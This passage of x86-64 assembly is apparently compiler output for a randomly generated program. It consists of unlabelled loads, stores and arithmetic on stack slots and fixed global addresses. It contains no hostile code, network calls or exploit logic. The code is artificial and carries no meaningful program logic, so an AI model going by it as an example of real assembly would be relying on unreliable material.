mov dword [rsp + 0x5064], eax
lea rax, [rsp + 0x1b10]
mov qword [0x1401cdfb8], rax
movsx eax, word [rsp + 0x12e4]
movsx ecx, word [rsp + 0x1a74]
and eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov word [rcx], ax
mov rax, qword [rsp + 0x9858]
movzx eax, byte [rax]
mov byte [rsp + 0x3af], al
movzx eax, byte [rsp + 0x311]
movzx ecx, byte [rsp + 0x2da]
sub eax, ecx
mov rcx, qword [rsp + 0xad08]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4f0]
movzx eax, byte [rax]
mov byte [rsp + 0x3b0], al
mov eax, dword [0x1401cd720]
movzx ecx, al
mov eax, dword [rsp + 0x52c4]
shl eax, cl
mov rcx, qword [rsp + 0x90d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0xaf38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x53f0], eax
lea rax, [rsp + 0xa6f8]
mov qword [rsp + 0xd270], rax
mov rax, qword [rsp + 0x9fa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94e8]
mov qword [rsp + 0xd278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd278]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9680], rax
movsx eax, byte [rsp + 0x2c9]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cd832], al
lea rax, [rsp + 0x291]
mov qword [rsp + 0xd280], rax
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
movzx ecx, word [0x1401cc0f4]
sub eax, ecx
mov rcx, qword [rsp + 0xcd60]
mov word [rcx], ax
movsx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0xb5a8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9628]
mov word [rcx], ax
mov rax, qword [rsp + 0x9758]
movzx eax, byte [rax]
mov byte [rsp + 0x3b1], al
mov rax, qword [rsp + 0xaa40]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa9f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5008]
mov dword [rsp + 0x5564], eax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [rsp + 0xaf58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e48], eax
mov rax, qword [rsp + 0xbb20]
mov rcx, qword [rsp + 0xad10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c80], rax
lea rax, [rsp + 0x197c]
mov qword [0x1401cdfc0], rax
mov rax, qword [rsp + 0xa8e0]
movzx eax, byte [rax]
mov byte [rsp + 0x3b2], al
mov rax, qword [rsp + 0xc428]
movzx eax, word [rax]
mov rcx, qword [0x1401cd800]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc178]
mov word [rcx], ax
lea rax, [rsp + 0x1a00]
mov qword [rsp + 0xd288], rax
movsx eax, byte [rsp + 0x23c]
movsx ecx, byte [rsp + 0x22b]
add eax, ecx
mov byte [rsp + 0x319], al
mov rax, qword [rsp + 0xba98]
mov eax, dword [rax]
mov dword [rsp + 0x5568], eax
mov rax, qword [rsp + 0xbf50]
mov rcx, qword [rsp + 0x9278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc258]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfb0]
mov rcx, qword [rsp + 0x8458]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9820]
mov qword [rcx], rax
lea rax, [rsp + 0xbb98]
mov qword [rsp + 0xd290], rax
movzx eax, byte [rsp + 0x2d9]
movzx ecx, byte [rsp + 0x2f8]
and eax, ecx
mov byte [0x1401cc0e3], al
mov rax, qword [rsp + 0xc9a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbbe8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1940], ax
movzx eax, word [rsp + 0x1470]
movzx ecx, word [rsp + 0x164c]
xor eax, ecx
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0xcdf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x29c]
sar eax, cl
mov rcx, qword [rsp + 0xb730]
mov byte [rcx], al
movsx eax, word [rsp + 0x17d4]
mov rcx, qword [rsp + 0xc260]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb938]
mov word [rcx], ax
lea rax, [rsp + 0xcfd8]
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9130]
mov rax, qword [rax]
mov qword [rsp + 0xd2a0], rax
mov rax, qword [rsp + 0xb258]
mov rcx, qword [rsp + 0xcbf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc258]
mov dword [rcx], eax
movzx eax, word [rsp + 0x18b8]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cd830], ax
mov rax, qword [0x1401cdba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3a4]
add eax, ecx
mov byte [rsp + 0x2d2], al
movzx eax, byte [rsp + 0x113]
mov byte [rsp + 0x3b3], al
mov rax, qword [rsp + 0xa808]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1be4]
sub eax, ecx
mov rcx, qword [rsp + 0xaa38]
mov word [rcx], ax
lea rax, [rsp + 0x342]
mov qword [rsp + 0xd2a8], rax
mov rax, qword [rsp + 0xb990]
mov rcx, qword [rsp + 0xb530]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x95c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cf0]
mov dword [rsp + 0x556c], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xaf30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb140]
mov rcx, qword [rsp + 0xc808]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc558], rax
mov rax, qword [rsp + 0xaa48]
movzx eax, word [rax]
mov word [rsp + 0x1c14], ax
lea rax, [rsp + 0x35f]
mov qword [0x1401cdfc8], rax
movsx eax, word [rsp + 0x1a78]
mov rcx, qword [rsp + 0xb6a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a44], ax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov byte [rsp + 0x3b4], al
movsx eax, byte [rsp + 0x313]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0xadf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5434], eax
lea rax, [rsp + 0x9148]
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xcc90]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
lea rax, [rsp + 0x4fcc]
mov qword [rsp + 0xd2b8], rax
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [rsp + 0x9050]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x26a], al
movzx eax, word [rsp + 0x1624]
movzx ecx, word [rsp + 0x161c]
xor eax, ecx
mov rcx, qword [0x1401cdab8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x29a]
movsx ecx, byte [rsp + 0x3a0]
shl eax, cl
mov rcx, qword [rsp + 0x9178]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2e0]
movzx eax, word [rax]
mov word [rsp + 0x1c18], ax
mov rax, qword [rsp + 0xce18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcdd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1694], ax
mov eax, dword [rsp + 0x548c]
mov dword [rsp + 0x5570], eax
mov rax, qword [rsp + 0xa938]
mov rcx, qword [rsp + 0xa368]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbae0]
mov rcx, qword [rsp + 0x95b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fd0], rax
mov eax, dword [rsp + 0x5090]
mov dword [rsp + 0x5574], eax
mov rax, qword [rsp + 0x9818]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x288]
and eax, ecx
mov rcx, qword [rsp + 0xb9e8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x307]
mov rcx, qword [rsp + 0xc8b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0e6], al
lea rax, [rsp + 0x2de]
mov qword [rsp + 0xd2c0], rax
mov rax, qword [rsp + 0x9380]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xbf00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb420]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0xbfd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb458]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9fc0]
mov rcx, qword [rsp + 0x93a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fc0], eax
mov rax, qword [rsp + 0xabe0]
mov rax, qword [rax]
mov qword [rsp + 0xd2c8], rax
mov rax, qword [rsp + 0xd0b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcfd0]
mov qword [rsp + 0xd2d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5154], eax
lea rax, [rsp + 0x18dc]
mov qword [rsp + 0xd2d8], rax
movzx eax, byte [0x1401cc042]
mov rcx, qword [rsp + 0xcf00]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401cdd20]
mov byte [rcx], al
mov rax, qword [rsp + 0xabb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x384]
xor eax, ecx
mov byte [rsp + 0x3b4], al
mov rax, qword [0x1401cd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xced8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1624], ax
lea rax, [rsp + 0x1bb4]
mov qword [rsp + 0xd2e0], rax
movzx eax, byte [rsp + 0x247]
movzx ecx, byte [rsp + 0x225]
and eax, ecx
mov byte [rsp + 0x25e], al
mov rax, qword [rsp + 0xaf58]
mov eax, dword [rax]
mov dword [rsp + 0x5578], eax
mov rax, qword [rsp + 0xa260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xacd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5378]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5174], eax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov qword [rsp + 0xd2e8], rax
mov rax, qword [rsp + 0xabd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb450]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0bc], ax
movsx eax, word [rsp + 0x1b90]
movsx ecx, word [rsp + 0x1900]
add eax, ecx
mov word [rsp + 0x1ab0], ax
lea rax, [rsp + 0x1fc]
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0xb290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa700]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x26d], al
lea rax, [rsp + 0x1328]
mov qword [rsp + 0xd2f8], rax
mov rax, qword [rsp + 0xd178]
mov rcx, qword [rsp + 0x9888]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x9440]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xa780]
mov rcx, qword [rsp + 0xbc10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x248]
add eax, ecx
mov byte [0x1401cc0e7], al
lea rax, [rsp + 0x285]
mov qword [rsp + 0xd308], rax
mov rax, qword [rsp + 0xa7a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xafa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9488]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1b0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
lea rax, [rsp + 0x1680]
mov qword [rsp + 0xd310], rax
mov rax, qword [rsp + 0xb820]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401cc020]
shl rax, cl
mov rcx, qword [rsp + 0x9130]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5070]
mov dword [rsp + 0x557c], eax
mov rax, qword [rsp + 0xbf08]
mov rcx, qword [rsp + 0xb788]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd030], rax
mov rax, qword [rsp + 0xca80]
mov rcx, qword [rsp + 0xcbf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x502c], eax
movsx eax, byte [rsp + 0x2e2]
mov rcx, qword [rsp + 0xb2c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd970]
mov byte [rcx], al
lea rax, [0x1401cd832]
mov qword [rsp + 0xd318], rax
movsx eax, word [rsp + 0x17c8]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbf20]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7b8]
movzx eax, word [rax]
mov word [rsp + 0x1c1c], ax
mov rax, qword [rsp + 0x9758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x85f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9390]
mov qword [rcx], rax
lea rax, [rsp + 0xc1d0]
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0x9e08]
mov ecx, dword [rsp + 0x524c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9a88]
mov dword [rcx], eax
lea rax, [rsp + 0x4894]
mov qword [rsp + 0xd328], rax
lea rax, [rsp + 0x195c]
mov qword [0x1401cdfd0], rax
movzx eax, word [rsp + 0x15c0]
movzx ecx, word [0x1401cc018]
and eax, ecx
mov word [rsp + 0x16fc], ax
lea rax, [rsp + 0x338]
mov qword [rsp + 0xd330], rax
movzx eax, byte [rsp + 0x112]
mov rcx, qword [rsp + 0xb338]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc8b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd080]
movzx eax, word [rax]
mov rcx, qword [0x1401cd9f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb6f0]
mov qword [rsp + 0xd338], rax
mov eax, dword [rsp + 0x4de8]
mov ecx, dword [rsp + 0x4fb0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd090]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbef0]
mov rax, qword [rax]
mov qword [rsp + 0xd340], rax
mov eax, dword [rsp + 0x546c]
movzx ecx, al
mov eax, dword [rsp + 0x50d0]
shr eax, cl
mov dword [rsp + 0x5188], eax
movzx eax, byte [rsp + 0x35f]
mov rcx, qword [rsp + 0x9230]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401cd7e0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x257]
movsx ecx, byte [0x1401cc07a]
shl eax, cl
mov byte [rsp + 0x35c], al
lea rax, [rsp + 0x1a08]
mov qword [rsp + 0xd348], rax
mov rax, qword [rsp + 0xbf00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb818]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16f0], ax
movzx eax, byte [rsp + 0x225]
movzx ecx, byte [0x1401cc00f]
and eax, ecx
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0xb430]
mov rcx, qword [rsp + 0xc290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa608]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc718]
mov qword [rcx], rax
mov eax, dword [rsp + 0x502c]
mov dword [rsp + 0x5580], eax
mov rax, qword [rsp + 0x9dc8]
mov rcx, qword [rsp + 0xd1a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd318]
movzx eax, byte [rax]
mov byte [0x1401cd8fc], al
lea rax, [rsp + 0x18c0]
mov qword [rsp + 0xd350], rax
mov rax, qword [rsp + 0xaad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcba8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa730]
mov byte [rcx], al
movsx eax, word [rsp + 0x1788]
movsx ecx, word [rsp + 0xeb8]
add eax, ecx
mov word [rsp + 0x1564], ax
lea rax, [0x1401cc0c8]
mov qword [rsp + 0xd358], rax
mov eax, dword [rsp + 0x51e4]
mov ecx, dword [rsp + 0x52b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x52e8], eax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov qword [rsp + 0xd360], rax
mov rax, qword [rsp + 0xcea0]
mov ecx, dword [rsp + 0x506c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x50d8], eax
lea rax, [rsp + 0xa998]
mov qword [rsp + 0xd368], rax
movzx eax, byte [rsp + 0x256]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc0ea], al
mov rax, qword [0x1401cdcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c8]
sar eax, cl
mov rcx, qword [rsp + 0xbc98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x32a]
mov rcx, qword [rsp + 0x9a48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2cb], al
lea rax, [rsp + 0x36a]
mov qword [rsp + 0xd370], rax
mov rax, qword [0x1401cdc88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a84]
or eax, ecx
mov rcx, qword [rsp + 0xc970]
mov word [rcx], ax
mov rax, qword [rsp + 0xd150]
mov rax, qword [rax]
mov qword [rsp + 0xd378], rax
mov rax, qword [rsp + 0xc1e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5228]
shl eax, cl
mov rcx, qword [rsp + 0xc8d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x4a10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0xc3f0]
mov qword [rsp + 0xd380], rax
movsx eax, byte [rsp + 0x2cb]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x334], al
movzx eax, word [rsp + 0x1aa0]
movzx ecx, word [rsp + 0x1650]
add eax, ecx
mov rcx, qword [0x1401cdf28]
mov word [rcx], ax
lea rax, [rsp + 0x1504]
mov qword [rsp + 0xd388], rax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x27a]
sub eax, ecx
mov rcx, qword [rsp + 0xb570]
mov byte [rcx], al
mov rax, qword [rsp + 0xce30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1948], ax
lea rax, [rsp + 0x50d4]
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0xa948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ca4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc600]
mov qword [rsp + 0xd398], rax
mov rax, qword [rsp + 0xa608]
mov rcx, qword [rsp + 0xc4e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
lea rax, [rsp + 0x2bb]
mov qword [rsp + 0xd3a0], rax
lea rax, [rsp + 0x321]
mov qword [0x1401cdfd8], rax
movzx eax, word [rsp + 0x1ba8]
movzx ecx, word [rsp + 0x1a94]
add eax, ecx
mov word [rsp + 0x1748], ax
movzx eax, byte [rsp + 0x3ab]
mov rcx, qword [rsp + 0xc3f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb500]
mov byte [rcx], al
mov rax, qword [rsp + 0xce68]
movzx eax, byte [rax]
mov byte [rsp + 0x3b5], al
mov rax, qword [rsp + 0xb300]
mov ecx, dword [rsp + 0x50fc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
lea rax, [rsp + 0xc5e0]
mov qword [rsp + 0xd3a8], rax
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0xa2a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9b80], rax
mov rax, qword [rsp + 0x9320]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x97c8]
mov qword [rsp + 0xd3b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e64], eax
lea rax, [rsp + 0x1ec]
mov qword [rsp + 0xd3b8], rax
mov rax, qword [0x1401cd970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc037], al
mov rax, qword [rsp + 0xcbd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc7e8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x16c0], ax
mov rax, qword [rsp + 0xb008]
movzx eax, word [rax]
mov word [rsp + 0x1c20], ax
movsx eax, word [0x1401cdc68]
mov rcx, qword [rsp + 0xb200]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1618], ax
mov rax, qword [rsp + 0xd038]
mov rcx, qword [rsp + 0xa0d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8c8], rax
mov rax, qword [rsp + 0xbfe0]
mov rax, qword [rax]
mov qword [rsp + 0xd3c0], rax
mov rax, qword [rsp + 0xaa50]
mov rcx, qword [rsp + 0xa8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa398]
mov dword [rcx], eax
lea rax, [rsp + 0x5424]
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov rcx, qword [0x1401cdd90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x9328]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1884]
add eax, ecx
mov rcx, qword [0x1401cdd38]
mov word [rcx], ax
movsx eax, byte [rsp + 0x297]
movsx ecx, byte [rsp + 0x21b]
sub eax, ecx
mov rcx, qword [rsp + 0xca18]
mov byte [rcx], al
movzx eax, byte [0x1401cd844]
mov rcx, qword [rsp + 0x9af8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x189], al
movsx eax, word [rsp + 0x1a9c]
mov rcx, qword [rsp + 0x9cd8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16c0], ax
movzx eax, word [rsp + 0x15cc]
mov word [rsp + 0x1c24], ax
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x5480]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5208], eax
mov rax, qword [rsp + 0xb340]
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0xc028]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb798]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb7a0]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92c0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x3b2]
mov rcx, qword [rsp + 0xb8d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0eb], al
mov rax, qword [rsp + 0x9900]
movzx eax, byte [rax]
mov byte [rsp + 0x3b6], al
movzx eax, word [0x1401cc208]
movzx ecx, word [rsp + 0x1528]
xor eax, ecx
mov word [rsp + 0x1748], ax
movzx eax, byte [rsp + 0x387]
mov byte [rsp + 0x3b7], al
mov rax, qword [rsp + 0xb6b8]
movsx eax, word [rax]
movsx ecx, word [0x1401cc1f0]
or eax, ecx
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ebc]
shl eax, cl
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbb8]
mov rax, qword [rax]
mov qword [rsp + 0xd3d8], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc230]
sar rax, cl
mov qword [rsp + 0x87c8], rax
mov rax, qword [rsp + 0x99e8]
mov eax, dword [rax]
mov dword [rsp + 0x5584], eax
movzx eax, word [rsp + 0x1678]
movzx ecx, word [rsp + 0x1a58]
and eax, ecx
mov word [0x1401cc0d8], ax
movsx eax, byte [rsp + 0x24d]
movsx ecx, byte [rsp + 0x2b0]
add eax, ecx
mov byte [rsp + 0x2bf], al
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x2e6]
add eax, ecx
mov byte [rsp + 0x2a8], al
movzx eax, byte [rsp + 0x252]
mov byte [rsp + 0x3b8], al
mov rax, qword [rsp + 0xb5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
and eax, ecx
mov rcx, qword [rsp + 0xc6f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9780]
mov rax, qword [rax]
mov qword [rsp + 0xd3e0], rax
mov rax, qword [rsp + 0xccb8]
mov rcx, qword [rsp + 0xaec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5064], eax
mov rax, qword [rsp + 0xb1f0]
mov rcx, qword [rsp + 0xc038]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c40], eax
mov rax, qword [rsp + 0xaf80]
mov rcx, qword [rsp + 0x9c00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd88], rax
lea rax, [rsp + 0x31a]
mov qword [0x1401cdfe0], rax
movzx eax, word [rsp + 0x1ab8]
mov rcx, qword [rsp + 0xb8a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b34], ax
mov rax, qword [rsp + 0x95a0]
movzx eax, word [rax]
mov word [rsp + 0x1c28], ax
mov rax, qword [rsp + 0x9fb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2fd], al
lea rax, [0x1401cc134]
mov qword [rsp + 0xd3e8], rax
mov eax, dword [rsp + 0x54b0]
mov ecx, dword [rsp + 0x4f4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa8d0]
shr rax, cl
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
mov dword [rsp + 0x5588], eax
mov rax, qword [rsp + 0xaf90]
movzx ecx, al
mov rax, qword [rsp + 0xd010]
shl rax, cl
mov qword [rsp + 0xcf10], rax
